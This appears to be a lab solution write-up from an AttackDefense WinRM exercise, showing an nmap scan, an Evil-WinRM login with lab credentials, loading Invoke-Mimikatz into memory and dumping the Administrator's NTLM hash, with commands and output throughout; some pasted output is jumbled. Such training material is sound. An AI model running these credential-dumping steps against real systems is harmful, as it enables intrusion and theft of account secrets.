| Name | WinRM: Evil-WinRM Invoke-PS-Script                  |
|------|---|
| URL  | https://attackdefense.com/challengedetails?cid=2029 |
| Туре | Services Exploitation: WinRM                        |

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Run a Nmap scan against the target IP.

Command: nmap --top-ports 65535 10.0.0.192

```
File Edit Tabs Help
root@attackdefense:~# nmap --top-ports 65535 10.0.0.192
Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-31 10:07 IST
Nmap scan report for 10.0.0.192
Host is up (0.0031s latency).
Not shown: 8294 closed ports
          STATE SERVICE
PORT
135/tcp
          open msrpc
139/tcp
               netbios-ssn
          open
445/tcp
          open
               microsoft-ds
          open ms-wbt-server
3389/tcp
5985/tcp
          open
               wsman
47001/tcp open
               winrm
49152/tcp open unknown
49153/tcp open
               unknown
49154/tcp open
                unknown
49155/tcp open
                unknown
49164/tcp open
                unknown
49172/tcp open
                unknown
Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
root@attackdefense:~#
```

Step 2: We have discovered that winrm server is running on port 5985. By default, WinRM

service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the evil-winrm tool on the target machine to gain access.

Checking the help of the tool.

Command: evil-winrm.rb --help

```
root@attackdefense:~/Desktop/tools/scripts# evil-winrm.rb --help
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH] [-k PRIVATE_KEY_PATH] [-r REALM]
     -S, --ssl
                                                  Enable ssl
     -c, --pub-key PUBLIC_KEY_PATH
                                                  Local path to public key certificate
                                                  Local path to private key certificate
Local path to private key certificate
Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM
     -k, --priv-key PRIVATE_KEY_PATH
-r, --realm DOMAIN
  { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH
-e, --executables EXES_PATH
                                                  Powershell scripts local path
                                                  C# executables local path
Remote host IP or hostname. FQDN for Kerberos auth (required)
Remote url endpoint (default /wsman)
     -i, --ip IP
-U, --url URL
          --user USER
                                                  Username (required)
          --password PASS
                                                  Password
          --hash HASH
                                                  NTHash
          --port PORT
                                                  Remote host port (default 5985)
           --version
                                                  Show version
                                                  Disable colors
Display this help message
           --no-colors
root@attackdefense:~/Desktop/tools/scripts#
```

We can notice the help is straight forward. If we want to use **local PowerShell** scripts or **C# executable**. We need to specify the option related to it and the path to the script or binary executable.

Connecting to the WinRM service using the provided credentials i.e administrator:rocknroll\_123321

Command: evil-winrm.rb -u administrator -p rocknroll\_123321 -i 10.0.0.192

```
root@attackdefense:~# evil-winrm.rb -u administrator -p rocknroll_123321 -i 10.0.0.192
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
win-omcnbkr66mn\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We got the PSSession by the Evil-WinRM tool. We can type the "**menu**" command to check supported commands by the tool.

Command: menu



We can perform multiple operations using this tool, i.e loading PowerShell scripts, running binary in memory, loading DLL libraries in memory, etc.

In this challenge, we are going to load the **Invoke-Mimikatz** script on the target machine to dump the NTLM hash. The script is located on the attacker's machine '/root/Desktop/tools/scripts/Invoke-Mimikatz.ps1'

**Step 3:** We will load the script by the tool. Before we go ahead, exit the Evil-WinRM active session and reconnect with the -s options for usage of local PowerShell scripts as described above.

**Command:** evil-winrm.rb -u administrator -p rocknroll\_123321 -i 10.0.0.192 -s /root/Desktop/tools/scripts

```
root@attackdefense:~# evil-winrm.rb -u administrator -p rocknroll_123321 -i 10.0.0.192
-s /root/Desktop/tools/scripts

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

**Step 4:** Type "**Invoke-Mimikatz.ps1**" and hit enter to load the script in the memory of the target machine.

**Note:** This would take around 60 seconds.

Command: Invoke-Mimikatz.ps1

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Mimikatz.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

**Step 4:** We successfully imported the mimikatz PowerShell script. We can type the **menu** command and hit enter to see all the script is loaded or not.

Command: menu



Step 5: Invoke the script and dump all the hash.

Command: Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'

```
PS C:\Users\Administrator\Documents> Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'
Hostname: WIN-OMCNBKR66MN / S-1-5-21-2563855374-3215282501-1490390052
           mimikatz 2.2.0 (x64) #19041 Aug 10 2020 20:07:46
  .#####.
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##
              > http://blog.gentilkiwi.com/mimikatz
 '## v ##'
               Vincent LE TOUX
                                            ( vincent.letoux@gmail.com )
  '#####
               > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 239915 (00000000:0003a92b)
Session
                : RemoteInteractive from 2
User Name
                 : Administrator
Domain
               : WIN-OMCNBKR66MN
               : WIN-OMCNBKR66MN
Logon Server
Logon Time
               : 10/5/2020 6:58:04 PM
SID
                 : S-1-5-21-2563855374-3215282501-1490390052-500
       msv :
        [00010000] CredentialKeys
        * NTLM
                   : 7ff3c58fce728b60f1ff8718c4e9ca67
        * SHA1
                   : 78ac4b57f900c1589c7d79bc54bcfd1e7859b381
        [00000003] Primary
         * Username : Administrator
        * Domain : WIN-OMCNBKR66MN
        * NTLM : 7ff3c58fce728b60f1ff8718c4e9ca67
        * SHA1
                   : 78ac4b57f900c1589c7d79bc54bcfd1e7859b381
       tspkg:
       wdigest :
        * Username : Administrator
         * Domain : WIN-OMCNBKR66MN
        * Password : (null)
```

We have discovered the Administrator user NTLM hash

Administrator NTLM Hash: 7ff3c58fce728b60f1ff8718c4e9ca67

## References

- Evil-WinRM (https://github.com/Hackplayers/evil-winrm)
- Mimikatz (https://github.com/gentilkiwi/mimikatz)
- Invoke-Mimikatz.ps1
   (https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikat z.ps1)